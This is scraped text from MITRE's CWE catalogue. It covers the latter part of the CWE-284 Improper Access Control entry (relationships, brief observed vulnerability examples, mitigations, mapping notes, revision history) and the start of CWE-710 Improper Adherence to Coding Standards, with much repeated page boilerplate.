ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.285Improper Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.286Incorrect User Management
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.346Origin Validation Error
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.749Exposed Dangerous Method or Function
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.923Improper Restriction of Communication Channel to Intended Endpoints
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1191On-Chip Debug and Test Interface With Improper Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1220Insufficient Granularity of Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1224Improper Restriction of Write-Once Bit Fields
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1231Improper Prevention of Lock Bit Modification
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1233Security-Sensitive Hardware Controls with Missing Lock Bit Protection
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1242Inclusion of Undocumented Features or Chicken Bits
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1252CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1257Improper Access Control Applied to Mirrored or Aliased Memory Regions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1259Improper Restriction of Security Token Assignment
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1260Improper Handling of Overlap Between Protected Memory Ranges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1262Improper Access Control for Register Interface
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1263Improper Physical Access Control
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1267Policy Uses Obsolete Encoding
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1268Policy Privileges are not Assigned Consistently Between Control and Data Agents
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1270Generation of Incorrect Security Tokens
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1274Improper Access Control for Volatile Memory Containing Boot Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1276Hardware Child Block Incorrectly Connected to Parent System
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1280Access Control Check Implemented After Asset is Accessed
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1283Mutable Attestation or Measurement Reporting Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1290Incorrect Decoding of Security Identifiers
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1292Incorrect Conversion of Security Identifiers
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1294Insecure Security Identifier Mechanism
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1296Incorrect Chaining or Granularity of Debug Components
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1304Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1311Improper Translation of Security Attributes by Fabric Bridge
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1312Missing Protection for Mirrored Regions in On-Chip Fabric Firewall
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1313Hardware Allows Activation of Test or Debug Logic at Runtime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1315Improper Setting of Bus Controlling Capability in Fabric End-point
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1316Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1317Improper Access Control in Fabric Bridge
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1320Improper Protection for Outbound Error Messages and Alert Signals
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1323Improper Management of Sensitive Trace Data
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1334Unauthorized Error Injection Can Degrade Hardware Redundancy
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.285Improper Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.288Authentication Bypass Using an Alternate Path or Channel
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.639Authorization Bypass Through User-Controlled Key
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.862Missing Authorization
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.863Incorrect Authorization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Varies by Context

+ Observed Examples
ReferenceDescription
A form hosting website only checks the session authentication status for a single form, making it possible to bypass authentication when there are multiple forms
Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories.
Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect
Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV.
IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV.
Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port
Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access
Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.
Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.944SFP Secondary Cluster: Access Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1369ICS Supply Chain: IT/OT Convergence/Expansion
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1372ICS Supply Chain: OT Counterfeit and Malicious Corruption
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reasons: Frequent Misuse, Abstraction

Rationale:

CWE-284 is extremely high-level, a Pillar. Its name, "Improper Access Control," is often misused in low-information vulnerability reports [REF-1287] or by active use of the OWASP Top Ten, such as "A01:2021-Broken Access Control". It is not useful for trend analysis.

Comments:

Consider using descendants of CWE-284 that are more specific to the kind of access control involved, such as those involving authorization (Missing Authorization (CWE-862), Incorrect Authorization (CWE-863), Incorrect Permission Assignment for Critical Resource (CWE-732), etc.); authentication (Missing Authentication (CWE-306) or Weak Authentication (CWE-1390)); Incorrect User Management (CWE-286); Improper Restriction of Communication Channel to Intended Endpoints (CWE-923); etc.
Suggestions:
CWE-IDComment
CWE-862Missing Authorization
CWE-863Incorrect Authorization
CWE-732Incorrect Permission Assignment for Critical Resource
CWE-306Missing Authentication
CWE-1390Weak Authentication
CWE-923Improper Restriction of Communication Channel to Intended Endpoints
+ Notes

Maintenance

This entry needs more work. Possible sub-categories include:

  • Trusted group includes undesired entities (partially covered by CWE-286)
  • Group can perform undesired actions
  • ACL parse error does not fail closed
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAccess Control List (ACL) errors
WASC2Insufficient Authorization
7 Pernicious KingdomsMissing Access Control
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 6, "Determining Appropriate Access Control" Page 171. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.
[REF-1287] MITRE. "Supplemental Details - 2022 CWE Top 25". Details of Problematic Mappings. 2022-06-28. <https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-07-27CWE Content TeamMITRE
updated Alternate_Terms, Relationships
2009-12-28CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated References, Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-24CWE Content TeamMITRE
Changed name and description; clarified difference between "access control" and "authorization."
2011-03-29CWE Content TeamMITRE
updated Alternate_Terms, Background_Details, Description, Maintenance_Notes, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Modes_of_Introduction, Observed_Examples, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Type
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-03-15CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2021-07-20CWE Content TeamMITRE
updated Observed_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Description, Observed_Examples, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Access Control Issues
2011-03-29Access Control (Authorization) Issues

CWE-710: Improper Adherence to Coding Standards

Weakness ID: 710
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: PillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not follow certain coding rules for development, which can lead to resultant weaknesses or increase the severity of the associated vulnerabilities.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1000Research Concepts
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.476NULL Pointer Dereference
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.477Use of Obsolete Function
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.484Omitted Break Statement in Switch
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.489Active Debug Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.570Expression is Always False
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.571Expression is Always True
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.657Violation of Secure Design Principles
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.684Incorrect Provision of Specified Functionality
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.758Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1041Use of Redundant Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1044Architecture with Number of Horizontal Layers Outside of Expected Range
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1048Invokable Control Element with Large Number of Outward Calls
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1059Insufficient Technical Documentation
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1061Insufficient Encapsulation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1065Runtime Resource Management Control Element in a Component Built to Run on Application Servers
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1066Missing Serialization Control Element
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1068Inconsistency Between Implementation and Documented Design
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1076Insufficient Adherence to Expected Conventions
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1092Use of Same Invokable Control Element in Multiple Architectural Layers
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1093Excessively Complex Data Representation
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1101Reliance on Runtime Component in Generated Code
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1120Excessive Code Complexity
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1126Declaration of Variable with Unnecessarily Wide Scope
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1127Compilation with Insufficient Warnings or Errors
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1164Irrelevant Code
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1177Use of Prohibited Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1209Failure to Disable Reserved Bits
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1357Reliance on Insufficiently Trustworthy Component
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Other

+ Potential Mitigations

Phase: Implementation

Document and closely follow coding standards.

Phases: Testing; Implementation

Where possible, use automated tools to enforce the standards.
+ Memberships
